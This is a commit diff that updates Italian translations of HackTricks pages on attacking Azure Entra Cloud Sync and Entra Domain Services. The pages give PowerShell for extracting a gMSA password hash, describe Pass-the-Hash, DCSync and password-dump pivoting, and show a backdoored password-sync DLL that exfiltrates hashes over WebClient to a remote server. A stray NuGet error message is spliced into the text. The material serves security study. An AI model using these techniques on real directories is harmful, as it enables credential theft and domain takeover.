mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement
This commit is contained in:
@@ -3,32 +3,32 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informazioni di Base
|
||||
## Informazioni di base
|
||||
|
||||
**Cloud Sync** è fondamentalmente il nuovo modo di Azure per **synchronizzare gli utenti da AD in Entra ID**.
|
||||
**Cloud Sync** è fondamentalmente il nuovo modo di Azure per **sincronizzare gli utenti da AD in Entra ID**.
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync è una nuova offerta di Microsoft progettata per soddisfare e raggiungere i tuoi obiettivi di identità ibrida per la sincronizzazione di utenti, gruppi e contatti in Microsoft Entra ID. Questo viene realizzato utilizzando l'agente di provisioning cloud di Microsoft Entra invece dell'applicazione Microsoft Entra Connect. Tuttavia, può essere utilizzato insieme a Microsoft Entra Connect Sync.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync è una nuova offerta di Microsoft progettata per soddisfare e raggiungere i tuoi obiettivi di identità ibrida per la sincronizzazione di utenti, gruppi e contatti in Microsoft Entra ID. Lo realizza utilizzando l'agente di provisioning cloud di Microsoft Entra invece dell'applicazione Microsoft Entra Connect. Tuttavia, può essere utilizzato insieme a Microsoft Entra Connect Sync.
|
||||
|
||||
### Principali Generati
|
||||
### Principali generati
|
||||
|
||||
Affinché questo funzioni, alcuni principali vengono creati sia in Entra ID che nella directory On-Premise:
|
||||
Affinché ciò funzioni, alcuni principali vengono creati sia in Entra ID che nella directory on-premise:
|
||||
|
||||
- In Entra ID l'utente `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) viene creato con il ruolo **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Questo ruolo aveva molte autorizzazioni privilegiate e poteva essere utilizzato per [**escalare privilegi anche a global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Tuttavia, Microsoft ha deciso di rimuovere tutti i privilegi di questo ruolo e assegnarne solo uno nuovo **`microsoft.directory/onPremisesSynchronization/standard/read`** che non consente realmente di eseguire alcuna azione privilegiata (come modificare la password o gli attributi di un utente o aggiungere una nuova credenziale a un SP).
|
||||
> Questo ruolo in passato aveva molte autorizzazioni privilegiate e poteva essere usato per [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Tuttavia, Microsoft ha deciso di rimuovere tutti i privilegi di questo ruolo e assegnargli solo un nuovo permesso **`microsoft.directory/onPremisesSynchronization/standard/read`** che in pratica non permette di eseguire azioni privilegiate (come modificare la password o gli attributi di un utente o aggiungere una nuova credenziale a uno SP).
|
||||
|
||||
- In Entra ID viene anche creata il gruppo **`AAD DC Administrators`** senza membri o proprietari. Questo gruppo è utile se viene utilizzato [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
- In Entra ID viene inoltre creato il gruppo **`AAD DC Administrators`** senza membri o proprietari. Questo gruppo è utile se viene utilizzato [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- Nell'AD, viene creata la Service Account **`provAgentgMSA`** con un SamAccountName come **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), oppure una personalizzata con [**queste autorizzazioni necessarie**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Di solito viene creata quella predefinita.
|
||||
- Nel AD, viene creato il Service Account **`provAgentgMSA`** con un SamAcountName come **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), oppure un account personalizzato con [**these permissions is needed**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Di solito viene creato quello predefinito.
|
||||
|
||||
> [!WARNING]
|
||||
> Tra le altre autorizzazioni, la Service Account **`provAgentgMSA`** ha autorizzazioni DCSync, consentendo **a chiunque la comprometta di compromettere l'intera directory**. Per ulteriori informazioni su [DCSync controlla questo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
> Tra le altre autorizzazioni l'account di servizio **`provAgentgMSA`** ha permessi DCSync, permettendo a **chiunque lo comprometta di compromettere l'intera directory**. Per ulteriori informazioni su [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Per impostazione predefinita, gli utenti di gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che sono assegnati a privilegi elevati direttamente **possono essere sincronizzati**.
|
||||
> Di default gli utenti appartenenti a gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` impostato a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che hanno privilegi elevati assegnati direttamente **possono essere sincronizzati**.
|
||||
|
||||
## Sincronizzazione della Password
|
||||
## Sincronizzazione delle password
|
||||
|
||||
La sezione è molto simile a quella di:
|
||||
|
||||
@@ -36,21 +36,21 @@ La sezione è molto simile a quella di:
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **La sincronizzazione dell'hash della password** può essere abilitata in modo che gli utenti possano **accedere a Entra ID utilizzando le loro password da AD**. Inoltre, ogni volta che una password viene modificata in AD, verrà aggiornata in Entra ID.
|
||||
- **La scrittura della password** può essere abilitata, consentendo agli utenti di modificare la propria password in Entra ID sincronizzando automaticamente la loro password nel dominio on-premise. Ma secondo la [documentazione attuale](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), per questo è necessario utilizzare il Connect Agent, quindi dai un'occhiata alla [sezione Az Connect Sync](./az-connect-sync.md) per ulteriori informazioni.
|
||||
- **Scrittura dei gruppi**: Questa funzionalità consente che le appartenenze ai gruppi da Entra ID vengano sincronizzate nuovamente nell'AD on-premises. Ciò significa che se un utente viene aggiunto a un gruppo in Entra ID, verrà aggiunto anche al corrispondente gruppo in AD.
|
||||
- **Password hash synchronization** può essere abilitata in modo che gli utenti possano **accedere a Entra ID usando le loro password di AD**. Inoltre, ogni volta che una password viene modificata in AD, verrà aggiornata in Entra ID.
|
||||
- **Password writeback** può essere anch'essa abilitata, consentendo agli utenti di modificare la loro password in Entra ID sincronizzando automaticamente la password nel dominio on-premise. Ma secondo la [documentazione attuale](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), per questo è necessario usare il Connect Agent, quindi dai un'occhiata alla sezione [Az Connect Sync](./az-connect-sync.md) per maggiori informazioni.
|
||||
- **Groups writeback**: Questa funzionalità permette che le appartenenze ai gruppi da Entra ID siano sincronizzate di nuovo nell'AD on-premises. Ciò significa che se un utente viene aggiunto a un gruppo in Entra ID, verrà anche aggiunto al gruppo corrispondente in AD.
|
||||
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Se gli utenti AD vengono sincronizzati da AD a Entra ID, il pivoting da AD a Entra ID è semplice, basta **compromettere la password di un utente o cambiare la password di un utente o creare un nuovo utente e aspettare che venga sincronizzato nella directory di Entra ID (di solito solo pochi minuti)**.
|
||||
- Se gli utenti AD vengono sincronizzati da AD a Entra ID, il pivoting da AD a Entra ID è semplice: basta **compromettere la password di un utente o cambiare la password di un utente o creare un nuovo utente e aspettare che venga sincronizzato nella directory Entra ID (di solito solo pochi minuti)**.
|
||||
|
||||
Quindi potresti ad esempio
|
||||
- Compromettere l'account **`provAgentgMSA`**, eseguire un attacco DCSync, decifrare la password di un utente e poi usarla per accedere a Entra ID.
|
||||
- Creare semplicemente un nuovo utente nell'AD, aspettare che venga sincronizzato in Entra ID e poi usarlo per accedere a Entra ID.
|
||||
- Modificare la password di un utente nell'AD, aspettare che venga sincronizzata in Entra ID e poi usarla per accedere a Entra ID.
|
||||
Quindi, per esempio, potresti
|
||||
- Compromettere l'account **`provAgentgMSA`**, eseguire un attacco DCSync, crackare la password di un utente e poi usarla per effettuare il login su Entra ID.
|
||||
- Creare semplicemente un nuovo utente in AD, aspettare che venga sincronizzato in Entra ID e poi usarlo per effettuare il login in Entra ID.
|
||||
- Modificare la password di un utente in AD, aspettare che venga sincronizzata in Entra ID e poi usarla per effettuare il login in Entra ID.
|
||||
|
||||
Per compromettere le credenziali di **`provAgentgMSA`**:
|
||||
```powershell
|
||||
@@ -74,22 +74,22 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-Man
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Ora puoi utilizzare l'hash del gMSA per eseguire un attacco Pass-the-Hash contro Entra ID utilizzando l'account `provAgentgMSA` e mantenere la persistenza potendo eseguire attacchi DCSync contro l'AD.
|
||||
Ora puoi usare l'hash del gMSA per effettuare un attacco Pass-the-Hash contro Entra ID utilizzando l'account `provAgentgMSA` e mantenere la persistenza, essendo in grado di eseguire attacchi DCSync contro l'AD.
|
||||
|
||||
Per ulteriori informazioni su come compromettere un Active Directory controlla:
|
||||
Per maggiori informazioni su come compromettere Active Directory consulta:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Nota che non c'è modo di assegnare ruoli di Azure o EntraID agli utenti sincronizzati in base ai loro attributi, ad esempio nelle configurazioni di Cloud Sync. Tuttavia, per concedere automaticamente permessi agli utenti sincronizzati, alcuni **gruppi Entra ID da AD** potrebbero ricevere permessi in modo che gli utenti sincronizzati all'interno di quei gruppi li ricevano anche, oppure **potrebbero essere utilizzati gruppi dinamici**, quindi controlla sempre le regole dinamiche e i potenziali modi per abusarne:
|
||||
> Nota che non esiste alcun modo per assegnare ruoli Azure o EntraID agli utenti sincronizzati in base ai loro attributi, per esempio nelle configurazioni di Cloud Sync. Tuttavia, per concedere automaticamente permessi agli utenti sincronizzati alcuni **Entra ID groups from AD** potrebbero essere assegnati dei permessi in modo che gli utenti sincronizzati all'interno di quei gruppi li ricevano, oppure potrebbero essere usati **dynamic groups**; verifica sempre le regole dinamiche e i possibili modi per abusarne:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Per quanto riguarda la persistenza, [questo post del blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggerisce che è possibile utilizzare [**dnSpy**](https://github.com/dnSpy/dnSpy) per backdoorare il dll **`Microsoft.Online.Passwordsynchronisation.dll`** situato in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** che viene utilizzato dall'agente Cloud Sync per eseguire la sincronizzazione delle password, facendolo esfiltrare gli hash delle password degli utenti sincronizzati a un server remoto. Gli hash vengono generati all'interno della classe **`PasswordHashGenerator`** e il post del blog suggerisce di aggiungere del codice in modo che la classe appaia così (nota l'uso di `use System.Net` e l'uso di `WebClient` per esfiltrare gli hash delle password):
|
||||
Per quanto riguarda la persistenza [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggest that it's possible to use [**dnSpy**](https://github.com/dnSpy/dnSpy) to backdoor the dll **`Microsoft.Online.Passwordsynchronisation.dll`** located in **`C:\Program Files\Microsoft Azure AD Sync\Bin`** that is used by the Cloud Sync agent to perform the password synchronization making it exfiltrate the password hashes of the users being synchronized to a remote server. The hashes are generated inside the class **`PasswordHashGenerator`** and the blog post suggest adding some code so the class looks like (note the `use System.Net` and the `WebClient` usage to exfiltrate the password hashes):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -123,22 +123,16 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Se **Password Writeback** è abilitato, puoi modificare la password di alcuni utenti da Entra ID e se hai accesso alla rete AD, connetterti utilizzando quelle credenziali. Per ulteriori informazioni, controlla la sezione [Az Connect Sync](./az-connect-sync.md) poiché il password writeback è configurato utilizzando quell'agente.
|
||||
- Se **Password Writeback** è abilitato, puoi modificare la password di alcuni utenti in Entra ID e, se hai accesso alla rete AD, connetterti usando quelle credenziali. Per maggiori informazioni controlla la [Az Connect Sync section](./az-connect-sync.md) dato che password writeback è configurato tramite quell'agente.
|
||||
|
||||
- A questo punto, Cloud Sync consente anche **"Microsoft Entra ID to AD"**, ma dopo troppo tempo ho scoperto che NON PUÒ sincronizzare gli utenti di EntraID con AD e che può solo sincronizzare gli utenti da EntraID che sono stati sincronizzati con l'hash della password e provengono da un dominio che appartiene allo stesso dominio forest del dominio a cui ci stiamo sincronizzando, come puoi leggere in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- Al momento Cloud Sync permette anche **"Microsoft Entra ID to AD"**, ma dopo vari test ho scoperto che NON può sincronizzare utenti EntraID verso AD e che può sincronizzare solo utenti di EntraID che sono stati synchronized with the password hash e provengono da un dominio che appartiene alla stessa domain forest del dominio verso cui stiamo sincronizzando, come puoi leggere in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Questi gruppi possono contenere solo utenti sincronizzati on-premises e/o gruppi di sicurezza creati in cloud aggiuntivi.
|
||||
> - Gli account utente on-premises che sono sincronizzati e sono membri di questo gruppo di sicurezza creato in cloud possono provenire dallo stesso dominio o da domini diversi, ma devono tutti appartenere alla stessa foresta.
|
||||
> - Questi gruppi possono contenere solo utenti sincronizzati on-premises e/o ulteriori gruppi di sicurezza creati nel cloud.
|
||||
> - Gli account utente on-premises che sono sincronizzati e sono membri di questo gruppo di sicurezza creato nel cloud possono essere dello stesso dominio o cross-domain, ma devono tutti appartenere alla stessa forest.
|
||||
|
||||
Quindi la superficie di attacco (e l'utilità) di questo servizio è notevolmente ridotta poiché un attaccante dovrebbe compromettere l'AD iniziale da cui gli utenti vengono sincronizzati per compromettere un utente nell'altro dominio (e entrambi devono apparentemente essere nella stessa foresta).
|
||||
|
||||
### Enumeration
|
||||
Quindi la attack surface (e l'utilità) di questo servizio è notevolmente ridotta, poiché un attacker dovrebbe compromettere l'AD iniziale da cui gli utenti vengono sincronizzati per compromettere un utente nell'altro dominio (e apparentemente entrambi devono essere nella stessa forest).
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
@@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Servizi di dominio
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Services permette di distribuire un Active Directory in Azure senza dover gestire i Domain Controller (in realtà non hai nemmeno accesso a essi).
|
||||
Microsoft Entra Domain Services consente di distribuire un Active Directory in Azure senza dover gestire i Domain Controllers (in realtà non hai nemmeno accesso a essi).
|
||||
|
||||
Il suo obiettivo principale è permettere di eseguire applicazioni legacy nel cloud che non possono usare metodi di autenticazione moderni, oppure quando non si vuole che le ricerche nella directory vadano sempre a ritroso verso un ambiente AD DS on-premise.
|
||||
Il suo obiettivo principale è permettere di eseguire applicazioni legacy nel cloud che non possono usare metodi di autenticazione moderni, o dove non vuoi che le directory lookup tornino sempre a un ambiente on-premises AD DS.
|
||||
|
||||
Nota che per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directory) nel domain service AD è necessario **cambiare la password dell'utente** con una nuova affinché possa essere sincronizzata con il nuovo AD. In effetti, l'utente non viene sincronizzato da Microsoft Entra ID a Domain Services fino a quando la password non viene cambiata.
|
||||
Nota che, per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directories) al servizio di dominio AD, è necessario **cambiare la password dell'utente** con una nuova affinché possa essere sincronizzata con il nuovo AD. In effetti, l'utente non viene sincronizzato da Microsoft Entra ID a Domain Services fino a quando la password non viene cambiata.
|
||||
|
||||
> [!WARNING]
|
||||
> Anche se stai creando un nuovo dominio Active Directory non potrai gestirlo completamente (a meno di non sfruttare qualche misconfigurazione), il che significa che per default, ad esempio, non puoi creare utenti direttamente nell'AD. Li crei **sincronizzando gli utenti da Entra ID.** Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche **filtrarli ulteriormente**.
|
||||
> Anche se stai creando un nuovo dominio active directory non sarai in grado di gestirlo completamente (a meno di non sfruttare alcune misconfigurazioni), il che significa che di default ad esempio non puoi creare utenti direttamente nell'AD. Li crei **sincronizzando gli utenti da Entra ID.** Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche **filtrarli ulteriormente**.
|
||||
|
||||
> [!NOTE]
|
||||
> In generale, a causa della scarsa flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma è comunque interessante conoscere come comprometterla.
|
||||
> In generale, a causa della scarsa flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma rimane comunque interessante sapere come comprometterlo.
|
||||
|
||||
### Pivoting
|
||||
|
||||
I membri del gruppo generato **`AAD DC Administrators`** ottengono permessi di amministratore locale sulle VM che sono joinate al dominio gestito (ma non sui domain controller) perché vengono aggiunti nel gruppo degli amministratori locali. I membri di questo gruppo possono anche usare **Desktop remoto per connettersi alle VM joinate al dominio**, e sono inoltre membri dei gruppi:
|
||||
I membri del gruppo generato **`AAD DC Administrators`** ottengono permessi di amministratore locale sulle VM che sono domain-joined al dominio gestito (ma non sui domain controllers) perché vengono aggiunti nel gruppo degli amministratori locali. I membri di questo gruppo possono anche usare **Remote Desktop to connect remotely to domain-joined VMs**, e sono inoltre membri dei gruppi:
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: Questo è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache sugli RODC (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: Questo gruppo permette ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare le group policy agli utenti o ai gruppi né modificare i GPO esistenti, quindi non è particolarmente rilevante in questo ambiente.
|
||||
- **`DnsAdmins`**: Questo gruppo permette di gestire le impostazioni DNS ed è stato abusato in passato per [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), tuttavia dopo aver testato l'attacco in questo ambiente si è verificato che la vulnerabilità è stata patchata:
|
||||
- **`Denied RODC Password Replication Group`**: è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache su RODC (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`**: questo gruppo permette ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare le group policies agli utenti o ai gruppi né modificare GPO esistenti, quindi non è particolarmente interessante in questo ambiente.
|
||||
- **`DnsAdmins`**: questo gruppo permette di gestire le impostazioni DNS ed è stato abusato in passato per [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), tuttavia dopo aver testato l'attacco in questo ambiente è stato verificato che la vulnerabilità è stata patchata:
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
@@ -30,16 +30,16 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
|
||||
Nota che per concedere questi permessi, all'interno dell'AD, il gruppo **`AAD DC Administrators`** viene aggiunto come membro dei gruppi precedenti, e la GPO **`AADDC Computers GPO`** aggiunge come amministratori locali tutti i membri del gruppo di dominio **`AAD DC Administrators`**.
|
||||
|
||||
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
|
||||
Il pivoting da Entra ID a un AD creato con Domain Services è semplice: basta aggiungere un utente al gruppo **`AAD DC Administrators`**, accedere via RDP a una qualsiasi/tutte le macchine del dominio e potrai rubare dati e anche **compromettere il dominio.**
|
||||
|
||||
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
|
||||
Tuttavia, il pivoting dal dominio a Entra ID non è altrettanto semplice poiché nulla dal dominio viene sincronizzato in Entra ID. Comunque, verifica sempre i metadata di tutte le VM appartenenti al dominio poiché le managed identities assegnate potrebbero avere permessi interessanti. Inoltre **dump all the users passwords from the domain** e prova a crackarle per poi effettuare il login in Entra ID / Azure.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
|
||||
> Nota che in passato sono state trovate altre vulnerabilità in questo managed AD che permettevano di compromettere i DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaccante che compromette il DC potrebbe molto facilmente mantenere persistenza senza che gli Azure admins se ne accorgano o siano in grado di rimuoverla.
|
||||
|
||||
### Enumeration
|
||||
### Enumerazione
|
||||
```bash
|
||||
# Get configured domain services domains (you can add more subs to check in more subscriptions)
|
||||
az rest --method post \
|
||||
|
||||
Reference in New Issue
Block a user